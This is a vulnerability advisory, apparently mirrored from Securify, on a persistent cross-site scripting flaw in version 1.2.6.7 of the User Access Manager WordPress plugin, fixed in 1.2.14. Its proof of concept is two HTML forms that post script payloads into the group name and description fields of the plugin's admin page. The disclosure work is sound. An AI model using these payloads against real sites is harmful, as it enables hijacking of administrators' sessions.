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WordPress User Access Manager 1.2.6.7 Cross Site Scripting

WordPress User Access Manager 1.2.6.7 Cross Site Scripting
Posted Jan 31, 2017
Authored by Securify B.V., Burak Kelebek

WordPress User Access Manager plugin version 1.2.6.7 suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 4c2f3e0a987349acc82a347d65a0653a

WordPress User Access Manager 1.2.6.7 Cross Site Scripting

Change Mirror Download
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Persistent Cross-Site Scripting vulnerability in User Access Manager
WordPress Plugin
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Burak Kelebek, July 2016

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Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability has been encountered in
the User Access Manager WordPress Plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. In
order to exploit this issue, the attacker has to lure/force a logged on
WordPress Administrator into opening a malicious website.

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OVE ID
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OVE-20160712-0025

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Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the User Access Manager WordPress
Plugin version 1.2.6.7.

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Fix
------------------------------------------------------------------------
This issue is resolved in User Access Manager version 1.2.14.

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Details
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https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_vulnerability_in_user_access_manager_wordpress_plugin.html

Persistent Cross-Site Scripting was found in admin panel 'manage' page of User Access Manager. Multiple parameters in POST uam_usergroup are affected due to insufficient output encoding. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=uam_usergroup" method="POST">
<input type="hidden" name="uamInsertUpdateGroupNonce" value="8657bd2424" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=uam_usergroup" />
<input type="hidden" name="action" value="addGroup" />
<input type="hidden" name="userGroupName" value="as<script>alert(1)</script>" />
<input type="hidden" name="userGroupDescription" value="asd" />
<input type="hidden" name="ipRange" value="asd" />
<input type="hidden" name="readAccess" value="group" />
<input type="hidden" name="writeAccess" value="group" />
<input type="hidden" name="submit" value="Add user group" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=uam_usergroup" method="POST">
<input type="hidden" name="uamInsertUpdateGroupNonce" value="8657bd2424" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=uam_usergroup" />
<input type="hidden" name="action" value="addGroup" />
<input type="hidden" name="userGroupName" value="sad" />
<input type="hidden" name="userGroupDescription" value="<script>alert(2)</script>" />
<input type="hidden" name="ipRange" value="asd" />
<input type="hidden" name="readAccess" value="group" />
<input type="hidden" name="writeAccess" value="group" />
<input type="hidden" name="submit" value="Add user group" />
<input type="submit" value="Submit" />
</form>
</body>
</html>


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goal is to contribute to the security of popular, widely used OSS
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